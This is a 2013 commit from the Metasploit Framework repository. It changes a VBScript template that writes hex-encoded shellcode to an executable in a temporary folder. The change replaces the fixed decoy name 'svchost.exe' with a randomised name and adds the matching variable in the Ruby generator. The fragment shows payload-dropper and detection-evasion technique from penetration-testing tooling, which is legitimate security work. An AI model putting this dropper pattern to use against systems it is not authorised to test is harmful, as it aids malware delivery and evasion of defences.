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metasploit-framework
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Randomize exe name

This commit is contained in:
Meatballs 2013-10-18 19:01:28 +01:00
parent 56aa9ab01c
commit 2ef89eaf35
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GPG Key ID: 5380EAF01F2F8B38
2 changed files with 2 additions and 1 deletions
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2
data/templates/scripts/to_exe.vbs.template
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@ -10,7 +10,7 @@ Function %{var_func}()
Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
%{var_obj}.CreateFolder(%{var_basedir})
%{var_tempexe} = %{var_basedir} & "\" & "svchost.exe"
%{var_tempexe} = %{var_basedir} & "\" & "%{var_exe}"
Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe}, true , false)
For i = 1 to Len(%{var_shellcode}) Step 2
%{var_stream}.Write Chr(CLng("&H" & Mid(%{var_shellcode},i,2)))

1
lib/msf/util/exe.rb
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@ -825,6 +825,7 @@ def self.to_vba(framework,code,opts={})
hash_sub = {}
hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8) << '.exe'
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8)